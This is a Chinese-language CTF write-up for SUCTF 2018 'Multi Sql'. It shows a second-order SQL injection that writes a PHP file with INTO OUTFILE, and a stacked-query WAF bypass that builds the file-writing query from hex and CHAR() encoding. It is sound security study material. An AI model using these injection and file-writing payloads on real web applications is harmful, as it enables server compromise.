CTF Web安全

suctf-2018 Multi Sql Write Up

Posted on 2020-01-03,3 min read

题目大概结构
注册、登陆、信息查看、头像上传

http://localhost:8888/user/user.php?id=26
发现注入。数字型。waf过滤严格。^和mid没过滤
if (!isset($SESSION['user_id'])) {
		$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'{$_SESSION['user_name']}'";//二次注入的位置
		$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
		$result = mysqli_fetch_array($data);
		$_SESSION['user_id'] = $result['DWVS_user_id'];
	}

SESSION[username]sqlDWVSuserid_SESSION['username']作为值传入sql注入。进行注入。然后将DWVS_user_id的值赋值给_SESSION['user_id']
方法一:
这是一个二次注入。因为注册时候。开启了全局过滤。
我们注册
再注册' into outfile '/var/www/html/favicon/a.php
当执行sql语句的时候就变成了
select * from dwvs_user_message where dwvs_user_name='' into outfile '/var/www/html/favicon/a.php'
关于这个上传目录写权限。看用户头像那里。上传头像的目录肯定有写权限
方法二:
user.php 中使用的是 mysqli_multi_query 函数,这个函数是可以执行多语句的。那么就可以利用 set + hex 编码的方式绕过 waf 了。
set @num=0x73656C656374207573657228293B;prepare sql from @num;execute sql;

set @s=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116),CHAR(32),CHAR(39),CHAR(60),CHAR(63),CHAR(112),CHAR(104),CHAR(112),CHAR(32),CHAR(112),CHAR(104),CHAR(112),CHAR(105),CHAR(110),CHAR(102),CHAR(111),CHAR(40),CHAR(41),CHAR(59),CHAR(63),CHAR(62),CHAR(39),CHAR(32),CHAR(105),CHAR(110),CHAR(116),CHAR(111),CHAR(32),CHAR(111),CHAR(117),CHAR(116),CHAR(102),CHAR(105),CHAR(108),CHAR(101),CHAR(32),CHAR(39),CHAR(47),CHAR(118),CHAR(97),CHAR(114),CHAR(47),CHAR(119),CHAR(119),CHAR(119),CHAR(47),CHAR(104),CHAR(116),CHAR(109),CHAR(108),CHAR(47),CHAR(102),CHAR(97),CHAR(118),CHAR(105),CHAR(99),CHAR(111),CHAR(110),CHAR(47),CHAR(49),CHAR(46),CHAR(112),CHAR(104),CHAR(112),CHAR(39),CHAR(59));
PREPARE s2 FROM @s;
EXECUTE s2;
由于过滤单引号。可以通过char。然后concat拼接绕过

下一篇: Mysql with rollup注入(ISCC-2018 线下赛 Web 私地一)→